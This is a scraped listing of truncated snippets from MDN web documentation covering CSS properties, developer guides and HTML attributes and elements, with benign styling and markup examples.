*/ page-break-inside: inherit; page-break-inside: initial; page-break-inside: unset; syntax values auto initial value. automatic page breaks (neither forced nor forbidden). avoid avoid page breaks inside the element. page break aliases the page-break-inside property is now a legacy property, replaced by break-inside. for compatibility reasons, page-break-inside should be treated by browsers as an alias of break-inside. this ensures that sites using page-break-inside continue to work as designed. a subset of values should be aliased as follows: page-break-inside break-inside auto auto avoid avoid formal definition initial valueautoapplies toblock-level elements in the normal flow of the root element. user agents may also apply it to...
paint() - CSS: Cascading Style Sheets
Web › CSS › paint
; background-image: paint(hollowhighlights, stroke, 1px); } we've included a custom property in the selector block defining a boxcolor. custom properties are accessible to the paintworklet. specifications specification status comment css painting api level 1the definition of 'paint notation' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpaint()chrome ...
place-self - CSS: Cascading Style Sheets
align in different positions across their cells, in the block and inline directions. ...
pointer-events - CSS: Cascading Style Sheets
g) 2the definition of 'pointer-events' in that specification. candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'pointer-events' in that specification. recommendation initial definition its extension to html elements, though present in early drafts of css basic user interface module level 3, has been pushed to its level 4. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpointer-eventschrome ...
repeating-radial-gradient() - CSS: Cascading Style Sheets
adient { background: repeating-radial-gradient(ellipse farthest-corner at 20% 20%, red, black 5%, blue 5%, green 10%); background: repeating-radial-gradient(ellipse farthest-corner at 20% 20%, red 0 5%, green 5% 10%); } the elliptical gradient will be centered 20% from the top left, and will repeat 10 times between the center and the farthest corner (the bottom right corner). browsers supporting multi position color stops will display a red and green striped ellipse. browsers not supporting the syntax yet will see a gradient that goes from red to black and then from blue to green. note: please see using css gradients for more examples. specifications specification status comment css images module level 3the definition of 'repeating-radial-gr...
resize - CSS: Cascading Style Sheets
Web › CSS › resize
you may override this behavior with the resize property. html <textarea>type some text here.</textarea> css textarea { resize: none; /* disables resizability */ } result using resize with arbitrary elements you can use the resize property to make any element resizable. in the example below, a resizable <div> contains a resizable parag...
right - CSS: Cascading Style Sheets
Web › CSS › right
#width { width: 100px; top: 60px; } result specifications specification status comment css positioned layout module level 3the definition of 'right' in that specification. working draft adds behavior for sticky positioning. css level 2 (revision 1)the definition of 'right' in that specification. recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrightchrome ...
ruby-position - CSS: Cascading Style Sheets
} result ruby positioned under the text html <ruby> <rb>超電磁砲</rb> <rp>(</rp><rt>レールガン</rt><rp>)</rp> </ruby> css ruby { ruby-position:under; } result specifications specification status comment css ruby layout module level 1the definition of 'ruby-position' in that specification. working draft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetruby-position experiment...
<shape> - CSS: Cascading Style Sheets
Web › CSS › shape
al, floating-point number. the speed of the interpolation is determined by the timing function associated with the animation. example img.clip04 { clip: rect(10px, 20px, 20px, 10px); } specifications specification status comment css level 2 (revision 1)the definition of '<shape>' in that specification. recommendation defines with the clip property. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet<shape> deprecatedchrome...
text-align - CSS: Cascading Style Sheets
t spacing between words created by justified text can be problematic for people with cognitive concerns such as dyslexia. ...
text-combine-upright - CSS: Cascading Style Sheets
ge of 2-4 are invalid. formal definition initial valuenoneapplies tonon-replaced inline elementsinheritedyescomputed valuespecified keyword, plus integer if 'digits'animation typediscrete formal syntax none | all | [ digits <integer>? ] examples digits the digits value requires less markup than the all value when digits are being combined, but it is currently not very widely supported by browsers. html <p lang="ja" class="exampletext">平成20年4月16日に</p> css .exampletext { writing-mode: vertical-lr; text-combine-upright: digits 2; font: 36px serif; } results screenshotlive sample all the all value requires markup around every piece of horizontal text, but it is currently supported by more browsers than the digits value. html <p lang="zh-hant">民國<span class=...
text-decoration-skip-ink - CSS: Cascading Style Sheets
/ text-decoration-skip-ink: none; text-decoration-skip-ink: auto; text-decoration-skip-ink: all; /* global keywords */ text-decoration-skip: inherit; text-decoration-skip: initial; text-decoration-skip: unset; values none underlines and overlines are drawn across the full length of the text content, including parts that cross over glyph descenders and ascenders. auto the default — the browser may interrupt underlines and overlines so that they do not touch or closely approach a glyph. that is, they are interrupted where they would otherwise cross over a glyph. all the browser must interrupt underlines and overlines so that they do not touch or closely approach a glyph. this can be helpful with certain chinese, japanese, or korean (cjk) fonts, where the auto behavior might not crea...
text-decoration-skip - CSS: Cascading Style Sheets
the text-decoration-skip css property sets what parts of an element’s content any text decoration affecting the element must skip over. it controls all text decoration lines drawn by the element and also any text decoration lines drawn by its ancestors. note: most other browsers are converging on supporting the simpler text-decoration-skip-ink property. /* keyword values */ text-decoration-skip: none; text-decoration-skip: objects; text-decoration-skip: spaces; text-decoration-skip: edges; text-decoration-skip: box-decoration; /* multiple keywords */ text-decoration-skip: objects spaces; text-decoration-skip: leading-spaces trailing-spaces; text-decoration-skip: objects edges box-decoration; /* global values */ text-decoration-skip: inherit; text-decoration-skip: initial; text-decorat...
text-decoration-style - CSS: Cascading Style Sheets
is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. if the specified decoration has a specific semantic meaning, like a line-through line meaning that some text has been deleted, authors are encouraged to denote this meaning using an html tag, like <del> or <s>. as browsers can disable styling in some cases, the semantic meaning won't disappear in such a situation. when setting multiple line-decoration properties at once, it may be more convenient to use the text-decoration shorthand property instead. syntax /* keyword values */ text-decoration-style: solid; text-decoration-style: double; text-decoration-style: dotted; text-decoration-style: dashed; text-decor...
text-decoration - CSS: Cascading Style Sheets
h it.</p> <p>this <a class="plain" href="#">link will not be underlined</a>, as links generally are by default. be careful when removing the text decoration on anchors since users often depend on the underline to denote hyperlinks.</p> <p class="underover">this text has lines above <em>and</em> below it.</p> <p class="thick">this text has a really thick purple underline in supporting browsers.</p> <p class="blink">this text might blink for you, depending on the browser you use.</p> specifications specification status comment css text decoration module level 4 working draft adds text-decoration-thickness; note that this isn't yet officially part of the shorthand — this is as yet unspecified. css text decoration module level 3the ...
text-justify - CSS: Cascading Style Sheets
d; text-justify: inter-character; text-justify: distribute; /* deprecated value */ syntax the text-justify property is specified as a single keyword chosen from the list of values below. values none the text justification is turned off. this has the same effect as not setting text-align at all, although it is useful if you need to turn justification on and off for some reason. auto the browser chooses the best type of justification for the current situation based on a balance between performance and quality, but also on what is most appropriate for the language of the text (e.g., english, cjk languages, etc.). this is the default justification used if text-justify is not set at all. inter-word the text is justified by adding space between words (effectively varying word-spacing), w...
text-orientation - CSS: Cascading Style Sheets
horizontally, but with the whole line rotated 90° clockwise. sideways-right an alias to sideways that is kept for compatibility purposes. use-glyph-orientation on svg elements, this keyword leads to use the value of the deprecated svg properties glyph-orientation-vertical and glyph-orientation-horizontal. ...
text-shadow - CSS: Cascading Style Sheets
when more than one shadow is given, shadows are applied front-to-back, with the first-specified shadow on top. this property applies to both ::first-line and ::first-letter pseudo-elements. values <color> optional. the color of the shadow. it can be specified either before or after the offset values. if unspecified, the color's value is left up to the user agent, so when consistency across browsers is desired you should define it explicitly. <offset-x> <offset-y> required. these <length> values specify the shadow's distance from the text. <offset-x> specifies the horizontal distance; a negative value places the shadow to the left of the text. <offset-y> specifies the vertical distance; a negative value places the shadow above the text. if both values are 0, the shadow is placed directl...
text-underline-offset - CSS: Cascading Style Sheets
ntax /* single keyword */ text-underline-offset: auto; /* length */ text-underline-offset: 0.1em; text-underline-offset: 3px; /* percentage */ text-underline-offset: 20%; /* global values */ text-underline-offset: inherit; text-underline-offset: initial; text-underline-offset: unset; the text-underline-offset property is specified as a single value from the list below. values auto the browser chooses the appropriate offset for underlines. <length> specifies the offset of underlines as a <length>, overriding the font file suggestion and the browser default. it is recommended to use em units so the offset scales with the font size. <percentage> specifies the offset of underlines as a <percentage> of 1 em in the element's font. a percentage inherits as a relative value, and so ther...
text-underline-position - CSS: Cascading Style Sheets
ext-underline-position: inherit; text-underline-position: initial; text-underline-position: unset; syntax values auto the user agent uses its own algorithm to place the line at or under the alphabetic baseline. from-font if the font file includes information about a preferred position, use that value. if the font file doesn't include this information, behave as if auto was set, with the browser choosing an appropriate position. under forces the line to be set below the alphabetic baseline, at a position where it won't cross any descenders. this is useful for ensuring legibility with chemical and mathematical formulas, which make a large use of subscripts. left in vertical writing-modes, this keyword forces the line to be placed on the left side of the text. in horizontal writing-m...
scale() - CSS: Cascading Style Sheets
a <transform-function> data type. this scaling transformation is characterized by a two-dimensional vector. its coordinates define how much scaling is done in each direction. if both coordinates are equal, the scaling is uniform (isotropic) and the aspect ratio of the element is preserved (this is a homothetic transformation). when a coordinate value is outside the [-1, 1] range, the element grows along that dimension; when inside, it shrinks. if it is negative, the result a point reflection in that dimension. a value of 1 has no effect. note: the scale() function only scales in 2d. to scale in 3d, use scale3d() instead. syntax the scale() function is specified with either one or two values, which represent the amount of scaling to be applied in each direction. scale(sx) scale(sx, sy)...
scale3d() - CSS: Cascading Style Sheets
and send us a pull request. this scaling transformation is characterized by a three-dimensional vector. its coordinates define how much scaling is done in each direction. if all three coordinates are equal, the scaling is uniform (isotropic) and the aspect ratio of the element is preserved (this is a homothetic transformation). when a coordinate value is outside the [-1, 1] range, the element grows along that dimension; when inside, it shrinks. if it is negative, the result a point reflection in that dimension. a value of 1 has no effect. syntax the scale3d() function is specified with three values, which represent the amount of scaling to be applied in each direction. scale3d(sx, sy, sz) values sx is a <number> representing the abscissa of the scaling vector. sy is a <number> re...
transform-style - CSS: Cascading Style Sheets
container of the cube faces has transform-style: preserve-3d set on it by default, so it is transformed in the 3d space and you can see it as intended. we also provide a checkbox allowing you to toggle between this, and transform-style: flat. in this alternative state, the cube faces are all flattened onto the plane of their parent, and you might not be able to see them at all, depending on the browser you are using. html <section id="example-element"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </section> <div class="checkbox"> <label for="preserve"><code>preserve-3d</code></label> <input type="checkbox" id="preserve" checked> </d...
user-select - CSS: Cascading Style Sheets
nly "none" or "text", or else it will allow typing in the <html> container */ /* microsoft-specific values */ -ms-user-select: none; -ms-user-select: text; -ms-user-select: element; note: user-select is not an inherited property, though the initial auto value makes it behave like it is inherited most of the time. webkit/chromium-based browsers do implement the property as inherited, which violates the behavior described in the spec, and this will bring some issues. until now, chromium chooses to fix the issues, make the final behavior meets the specifications. syntax none the text of the element and its sub-elements is not selectable. note that the selection object can contain these elements. auto the used value of auto is...
vertical-align - CSS: Cascading Style Sheets
f the values listed below. values for inline elements parent-relative values these values vertically align the element relative to its parent element: baseline aligns the baseline of the element with the baseline of its parent. the baseline of some replaced elements, like <textarea>, is not specified by the html specification, meaning that their behavior with this keyword may vary between browsers. sub aligns the baseline of the element with the subscript-baseline of its parent. super aligns the baseline of the element with the superscript-baseline of its parent. text-top aligns the top of the element with the top of the parent element's font. text-bottom aligns the bottom of the element with the bottom of the parent element's font. middle aligns the middle of the element with...
white-space - CSS: Cascading Style Sheets
wrap wrap formal definition initial valuenormalapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | pre | nowrap | pre-wrap | pre-line | break-spaces examples basic example code { white-space: pre; } line breaks inside <pre> elements pre { word-wrap: break-word; /* ie 5.5-7 */ white-space: pre-wrap; /* modern browsers */ } in action html <div id="css-code" class="box"> p { white-space: <select> <option>normal</option> <option>nowrap</option> <option>pre</option> <option>pre-wrap</option> <option>pre-line</option> <option>break-spaces</option> </select> } </div> <div id="results" class="box"> <p> lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod te...
word-spacing - CSS: Cascading Style Sheets
-examples and send us a pull request. syntax /* keyword value */ word-spacing: normal; /* <length> values */ word-spacing: 3px; word-spacing: 0.3em; /* <percentage> values */ word-spacing: 50%; word-spacing: 200%; /* global values */ word-spacing: inherit; word-spacing: initial; word-spacing: unset; values normal the normal inter-word spacing, as defined by the current font and/or the browser. <length> specifies extra spacing in addition to the intrinsic inter-word spacing defined by the font. <percentage> specifies extra spacing as a percentage of the affected character’s advance width. examples html <div id="mozdiv1">here are many words...</div> <div id="mozdiv2">...and many more!</div> css #mozdiv1 { word-spacing: 15px; } #mozdiv2 { word-spacing: 5em; } acces...
CSS: Cascading Style Sheets
Web › CSS
cascading style sheets (css) is a stylesheet language used to describe the presentation of a document written in html or xml (including xml dialects such as svg, mathml or xhtml). css describes how elements should be rendered on screen, on paper, in speech, or on other media. css among the core languages of the open web and is standardized across web browsers according to the w3c specification. previously development of various parts of css specification was done synchronously, which allowed versioning of the latest recommendation. you might have heard about css1, css2.1, css3. however, css4 has never become an official version. from css3, the scope of the specification increased significantly and the progress on different css modules started to differ so much, that it became more effective...
Demos of open web technologies
nsformations using foreignobject (visual effects and transforms) phonetics guide (interactive) 3d objects demo (interactive) blobular (interactive) video embedded in svg (or use the local download) summer html image map creator (source code) video video 3d animation "mozilla constantly evolving" video 3d animation "floating dance" streaming anime, movie trailer and interview billy's browser firefox flick virtual barber shop transformers movie trailer a scanner darkly movie trailer (with built in controls) events firing and volume control dragable and sizable videos 3d graphics webgl web audio fireworks ioquake3 (source code) escher puzzle (source code) kai 'opua (source code) virtual reality the polar sea (source code) sechelt fly-through (source code) css ...
math:min() - EXSLT
Web › EXSLT › math › min
g order as it would be using xsl:sort() with a data type of number. the minimum value is then the first node in the sorted list, converted into a number. note: syntax math:min(nodeset) parameters nodeset the node-set whose lowest value is to be returned. returns a result tree fragment representing the lowest valued node's numeric value as a string. specifications exslt - math:min browser compatibility supported in gecko 1.9 and later. ...
WAI ARIA Live Regions/API Support - Developer guides
er-atomic=true, points to an ancestor accessible object (thus it is actually an accessible relation, not object attribute) not in atomic region if not provided points to the root of the atomic container that this object is in. this will always be an ancestor of the current object. aria-atomic on ancestor element event-from-input "true" | "false" (described more below) browser could not calculate this was the root cause of this event explicit user input? does not require author's cooperation. the "container-" prefix is so named because the attribute describes what the final computed property of similar name is for that node. this means that the at does not need to traverse up the parent chain to get this information. at this time, for properties where the...
Ajax - Developer guides
Web › Guide › AJAX
coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together, including html or xhtml, css, javascript, dom, xml, xslt, and most importantly the xmlhttprequest object. when these technologies are combined in the ajax model, web applications are able to make quick, incremental updates to the user interface without reloading the entire browser page. this makes the application faster and more responsive to user actions. although x in ajax stands for xml, json is used more than xml nowadays because of its many advantages such as being lighter and a part of javascript. both json and xml are used for packaging information in the ajax model. documentation getting started this article guides you through the ajax basics and gives y...
Creating and triggering events - Developer guides
this article demonstrates how to create and dispatch dom events. such events are commonly called synthetic events, as opposed to the events fired by the browser itself. creating custom events events can be created with the event constructor as follows: const event = new event('build'); // listen for the event. elem.addeventlistener('build', function (e) { /* ... */ }, false); // dispatch the event. elem.dispatchevent(event); the above code example uses the eventtarget.dispatchevent() method. this constructor is supported in most modern browsers (with internet explorer being the exception). for a more verbose approach (which works with internet explorer), see the old-fashioned way below. adding custom data – customevent() to add more data to the event object, the customevent ...
DOM onevent handlers - Developer guides
ered via eventtarget.addeventlistener() event handler refers to a function registered via on… attributes or properties specifications specification status comment html living standardthe definition of 'event handlers' in that specification. living standard html5the definition of 'event handlers' in that specification. recommendation browser compatibility detecting the presence of event handler properties you can detect the presence of an event handler property with the javascript in operator. for example: if ("onsomenewfeature" in window) { /* do something amazing */ } event handlers and prototypes you can't set or access the values of any idl-defined attributes on dom prototype objects. that means you can't, for example, ...
Media events - Developer guides
state. canplaythrough sent when the readystate changes to have_enough_data, indicating that the entire media can be played without interruption, assuming the download rate remains at least at the current level. it will also be fired when playback is toggled between paused and playing. note: manually setting the currenttime will eventually fire a canplaythrough event in firefox. other browsers might not fire this event. durationchange the metadata has loaded or changed, indicating a change in duration of the media. this is sent, for example, when the media has loaded enough that the duration is known. emptied the media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the load() method is called...
Orientation and motion data explained - Developer guides
this article provides details about the coordinate systems at play and how you use them. about coordinate frames a coordinate frame is a system whereby the orientation of the three axes (x, y, and z) are defined in reference to an object. there are two coordinate frames to consider when using orientation and motion events: earth coordinate frame the earth coordinate frame is the coordinate frame fixed on the center of the earth; that is, the axes are aligned based on the pull of gravity and the standard magnetic north orientation. ...
Graphics on the Web - Developer guides
...
Content categories - Developer guides
heading content itself. elements belonging to this category are <h1>, <h2>, <h3>, <h4>, <h5>, <h6> and <hgroup>. though likely to contain heading content, the <header> is not heading content itself. note: the <hgroup> element was removed from the w3c html specification prior to html 5 being finalized, but is still part of the whatwg specification and is at least partially supported by most browsers. phrasing content phrasing content defines the text and the mark-up it contains. runs of phrasing content make up paragraphs. elements belonging to this category are <abbr>, <audio>, <b>, <bdo>, <br>, <button>, <canvas>, <cite>, <code>, <command>, <data>, <datalist>, <dfn>, <em>, <embed>, <i>, <iframe>, <img>, <input>, <kbd>, <keygen>, <label>, <mark>, <math>, <meter>, <noscript>, <objec...
Rich-Text Editing in Mozilla - Developer guides
see how to standardize the creation and the insertion of your editor in your page, please see our more complete rich-text editor example. resources mozilla.org's rich-text editing specification mozilla.org's rich-text editing demo converting an app using document.designmode from ie to mozilla at mozilla.org designmode msdn: how to create an html editor application a closed source, cross-browser rich-text editing demo xbdesignmode; a javascript helper class for easier cross-browser development using designmode. firefox 3 and contenteditable original document information author(s): doron rosenberg, netscape communications published: 04 apr 2003 revised: 01 jul 2003 revised: 24 apr 2005, joel coreson revised: 28 nov 2006, ken kuhns, computronicsusa revised: 19 dec 2007, mark...
XHTML - Developer guides
Web › Guide › HTML › XHTML
www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>xhtml</title> </head> <body> <p>i am a xhtml document</p> </body> </html> in practice, very few "xhtml" documents are served over the web with a content-type: application/xhtml+xml header. instead, even though the documents are written to conform to xml syntax rules, they are served with a content-type: text/html header — so browsers parse those documents using html parsers rather than xml parsers, which can cause a variety of sometimes-very-surprising problems. the problems are described in more details in the following articles: beware of xhtml by david hammond sending xhtml as text/html considered harmful by ian hickson xhtml's dirty little secret by mark pilgrim xhtml - what's the point? by henri sivonen xhtml i...
Parsing and serializing XML - Developer guides
if the document is html, the code shown above will return a document. if the document is xml, the resulting object is actually a xmldocument. the two types are essentially the same; the difference is largely historical, although differentiating has some practical benefits as well. note: there is in fact an htmldocument interface as well, but it is not necessarily an independent type. in some browsers it is, while in others it is simply an alias for the document interface. serializing an xml document given a document, you can serialize the document's dom tree back into xml using the xmlserializer.serializetostring() method. use the following approaches to serialize the contents of the xml document you created in the previous section. serializing dom trees to strings first, create a do...
Optimization and performance - Developer guides
t's important to make your content perform well. that is, to make it work quickly and efficiently. this lets it work effectively both for users of powerful desktop systems as well as for handheld devices with less power. there are several tools available to check the performance of a website or blog. the most notable tools are listed below. google pagespeed insights lighthouse webpagetest browser developer tools the above resources also include web performance best practices. making web performance a priority by considering web performance throughout the development process is important in ensuring users get the best user experience possible. there are no subpages at this time. ...
Printing - Developer guides
her cases in which you want to manage the printing process, but these are some of the most common scenarios. this article provides tips and techniques for helping your web content print better. using a print style sheet add the following to your <head> tag. <link href="/path/to/print.css" media="print" rel="stylesheet" /> using media queries to improve layout detecting print requests some browsers (including firefox 6 and later and internet explorer) send beforeprint and afterprint events to let content determine when printing may have occurred. you can use this to adjust the user interface presented during printing (such as by displaying or hiding user interface elements during the print process). note: you can also use window.onbeforeprint and window.onafterprint to assign handlers f...
The Web Open Font Format (WOFF) - Developer guides
Web › Guide › WOFF
the font data is compressed, so sites using woff will use less bandwidth and will load faster than if they used equivalent uncompressed truetype or opentype files. many font vendors that are unwilling to license their truetype or opentype format fonts for use on the web will license woff format fonts. this improves availability of fonts to site designers. both proprietary and free software browser vendors like the woff format, so it has the potential of becoming a truly universal, interoperable font format for the web, unlike other current font formats. there are two versions of woff; woff and woff2, they mostly differ in regard to the compression algorithm used. in @font-face they are identified by the 'woff' and respectively 'woff2' format descriptor. using woff you can use the @fo...
HTML attribute: accept - HTML: Hypertext Markup Language
it is still possible (in most cases) for users to toggle an option in the file chooser that makes it possible to override this and select any file they wish, and then choose incorrect file types. because of this, you should make sure that expected requirement is validated server-side. examples when set on a file input type, the native...
HTML attribute: crossorigin - HTML: Hypertext Markup Language
that there will be no exchange of user credentials via cookies, client-side ssl certificates or http authentication as described in the terminology section of the cors specification, unless it is in the same origin. an invalid keyword and an empty string will be handled as the anonymous keyword. example: crossorigin with the script element you can use the following <script> element to tell a browser to execute the https://example.com/example-framework.js script without sending user-credentials. <script src="https://example.com/example-framework.js" crossorigin="anonymous"></script> example: webmanifest with credentials the use-credentials value must be used when fetching a manifest that requires credentials, even if the file is from the same origin. <link rel="manifest" href="/app.webm...
HTML attribute: maxlength - HTML: Hypertext Markup Language
fied, the input or textarea has no maximum length. any maxlength value must be greater than or equal to the value of minlength, if present and valid. the input will fail constraint validation if the length of the text value of the field is greater than maxlength utf-16 code units long. constraint validation is only applied when the value is changed by the user. constraint validation while the browser will generally prevent user from entering more text than the maxlength attribute allows, should the length be longer than the maxlength allows, the read-only toolong property of a validitystate object will be true. examples <input type="password" maxlength="4"/> specifications specification status html living standardthe definition of 'maxlength attribute' in th...
HTML attribute: min - HTML: Hypertext Markup Language
Web › HTML › Attributes › min
border around invalid inputs: input:invalid { border: solid red 3px; } then define an input with a minimum value of 7.2, omitting the step attribute, wherein it defaults to 1. <input id="mynumber" name="mynumber" type="number" min="7.2" value="8"> because step defaults to 1, valid values include 7.2, 8.2, 9.2, and so on. the value 8 is not valid. as we included an invalid value, supporting browsers will show the value as invalid. if not explicitly included, step defaults to 1 for number and range, and 1 unit type (second, week, month, day) for the date/time input types. ...
HTML attribute: minlength - HTML: Hypertext Markup Language
ual to the value of maxlength, otherwise the value will never be valid, as it is impossible to meet both criteria. the input will fail constraint validation if the length of the text value of the field is less than minlength utf-16 code units long, with validitystate.tooshort returning true. constraint validation is only applied when the value is changed by the user. once submission fails, some browsers will display an error message indicating the minimum length required and the current length. examples by adding minlength="5", the value must either be empty or five characters or longer to be valid. <label for="fruit">enter a fruit name that is at least 5 letters long</label> <input type="text" minlength="5" id="fruit"> we can use pseudoclasses to style the element based on whether the va...
HTML attribute: readonly - HTML: Hypertext Markup Language
ls until they are enabled. because a read-only field cannot have it's value changed by a user interaction, required does not have any effect on inputs with the readonly attribute also specified. the only way to modify dynamically the value of the readonly attribute is through a script. note: the required attribute is not permitted on inputs with the readonly attribute specified. usability browsers display the readonly attribute... constraint validation if the element is readonly, then the element's value can not be updated by the user, and does not participate in constraint validation. example html <div class="group"> <input type="textbox" value="some value" readonly="readonly"/> <label>textbox</label> </div> <div class="group"> <input type="date" value="2020-01-01" readonly=...
HTML attribute: step - HTML: Hypertext Markup Language
Web › HTML › Attributes › step
valid inputs: input:invalid { border: solid red 3px; } then define an input with a minimum value of 7.2, omitting the step attribute, wherein it defaults to 1. <input id="mynumber" name="mynumber" type="number" step="2" min="1.2"> valid values include 1.2, 3.2, 5.2, 7.2, 9.2, 11.2, and so on. integers and even numbers follwed by .2 are not valid. as we included an invalid value, supporting browsers will show the value as invalid. the number spinner, if present, will only show valid float values of 1.2 and greater note: when the data entered by the user doesn't adhere to the stepping configuration, the value is considered invalid in contraint validation and will match the :invalid and :out-of-range pseudoclasses see client-side validation and stepmismatch for more information. spec...
Block-level elements - HTML: Hypertext Markup Language
you can visualize them as a stack of boxes. ...
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
feature now that the server has been configured to allow retrieval of the images cross-origin, we can write the code that allows the user to save them to local local storage, just as if they were being served from the same domain the code is running on. the key is to use the crossorigin attribute by setting crossorigin on the htmlimageelement into which the image will be loaded. this tells the browser to request cross-origin access when trying to download the image data. starting the download the code that starts the download (say, when the user clicks a "download" button), looks like this: function startdownload() { let imageurl = "https://cdn.glitch.com/4c9ebeb9-8b9a-4adc-ad0a-238d9ae00bb5%2fmdn_logo-only_color.svg?1535749917189"; downloadedimg = new image; downloadedimg.crossori...
<b>: The Bring Attention To element - HTML: Hypertext Markup Language
Web › HTML › Element › b
however, you should not use <b> for styling text; instead, you should use the css font-weight property to create boldface text, or the <strong> element to indicate that text is of special importance. the source for this interactive example is stored in a github repository. ...
<bgsound>: The Background Sound element (obsolete) - HTML: Hypertext Markup Language
Web › HTML › Element › bgsound
ed, which must be one of the following types: .wav, .au, or .mid. volume this attribute defines a number between -10,000 and 0 that determines the loudness of a page's background sound. example <bgsound src="sound1.mid"> <bgsound src="sound2.au" loop="infinite"> usage notes historically, the <embed> element could be used with audio player plug-ins to play audio in the background in most browsers. however, even this is no longer appropriate, and you should use <audio> instead, since it's more capable, more compatible, and doesn't require plug-ins. you can write <bgsound> as a self-closing tag (<bgsound />); however, since this element is non-standard, doing so will still not validate. ...
<big>: The Bigger Text element - HTML: Hypertext Markup Language
Web › HTML › Element › big
usage note: as it was purely presentational, this element has been removed in html5 and shouldn't be used anymore. instead web developers should use the css font-size property to adjust the font size. attributes this element has no other attributes than the global attributes, common to all elements. ...
<blink>: The Blinking Text element (obsolete) - HTML: Hypertext Markup Language
Web › HTML › Element › blink
dom interface this element is unsupported and thus implements the htmlunknownelement interface. ...
<cite>: The Citation element - HTML: Hypertext Markup Language
Web › HTML › Element › cite
creative work, as included within a <cite> element, may include the name of the work’s author. however, the whatwg specification for <cite> says the opposite: that a person’s name must never be included, under any circumstances. to include a reference to the source of quoted material which is contained within a <blockquote> or <q> element, use the cite attribute on the element. typically, browsers style the contents of a <cite> element in italics by default. to avoid this, apply the css font-style property to the <cite> element. example <p>more information can be found in <cite>[iso-0000]</cite>.</p> the html above outputs: specifications specification status comment html living standardthe definition of '<cite>' in that specification. living standa...
<code>: The Inline Code element - HTML: Hypertext Markup Language
Web › HTML › Element › code
ghlights all the text in the input field so the user can, for example, copy or delete the text.</p> the output generated by this html looks like this: notes to represent multiple lines of code, wrap the <code> element within a <pre> element. the <code> element by itself only represents a single phrase of code or line of code. a css rule can be defined for the code selector to override the browser's default font face. preferences set by the user might take precedence over the specified css. specifications specification status comment html living standardthe definition of '<code>' in that specification. living standard html5the definition of '<code>' in that specification. recommendation html 4.01 specificationthe definition of...
<command>: The HTML Command element - HTML: Hypertext Markup Language
Web › HTML › Element › command
you should use the <menuitem> element instead, although that element is non-standard and only supported in edge and firefox. ...
<dfn>: The Definition element - HTML: Hypertext Markup Language
Web › HTML › Element › dfn
f a term within the definition. html <p>the <strong>html definition element</strong> (<strong><dfn>&lt;dfn&gt;</dfn></strong>) is used to indicate the term being defined within the context of a definition phrase or sentence.</p> since the <dfn> element has no title, the text contents of the <dfn> element itself are used as the term being defined. result this looks like this rendered in your browser: links to definitions to add links to the definitions, you create the link the same way you always do, with the <a> element. html <p>the <strong>html definition element</strong> (<strong><dfn id="definition-dfn">&lt;dfn&gt;</dfn></strong>) is used to indicate the term being defined within the context of a definition phrase or sentence.</p> <p>lorem ipsum dolor sit amet, consectetur adipi...
<dialog>: The Dialog element - HTML: Hypertext Markup Language
Web › HTML › Element › dialog
x = document.queryselector('output'); var selectel = document.queryselector('select'); var confirmbtn = document.getelementbyid('confirmbtn'); // "update details" button opens the <dialog> modally updatebutton.addeventlistener('click', function onopen() { if (typeof favdialog.showmodal === "function") { favdialog.showmodal(); } else { alert("the <dialog> api is not supported by this browser"); } }); // "favorite animal" input sets the value of the submit button selectel.addeventlistener('change', function onselect(e) { confirmbtn.value = selectel.value; }); // "confirm" button of form triggers "close" on dialog because of [method="dialog"] favdialog.addeventlistener('close', function onclose() { outputbox.value = favdialog.returnvalue + " button clicked - " + (new date()).to...
<dir>: The Directory element (obsolete) - HTML: Hypertext Markup Language
Web › HTML › Element › dir
s used as a container for a directory of files and/or folders, potentially with styles and icons applied by the user agent. do not use this obsolete element; instead, you should use the <ul> element for lists, including lists of files. usage note: do not use this element. though present in early html specifications, it has been deprecated in html 4, and has since been removed entirely. no major browsers support this element. dom interface this element implements the htmldirectoryelement interface. attributes like all other html elements, this element supports the global attributes. compact this boolean attribute hints that the list should be rendered in a compact style. the interpretation of this attribute depends on the user agent and it doesn't work in all browsers. usage note: do ...
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
Web › HTML › Element › fieldset
en if it is not nested inside it, and disabled, which allows you to disable the <fieldset> and all its contents in one go. attributes this element includes the global attributes. disabled if this boolean attribute is set, all form controls that are descendants of the <fieldset>, are disabled, meaning they are not editable and won't be submitted along with the <form>. they won't receive any browsing events, like mouse clicks or focus-related events. by default browsers display such controls grayed out. note that form elements inside the <legend> element won't be disabled. form this attribute takes the value of the id attribute of a <form> element you want the <fieldset> to be part of, even if it is not inside the form. name the name associated with the group. note: the caption for th...
<figure>: The Figure with Optional Caption element - HTML: Hypertext Markup Language
Web › HTML › Element › figure
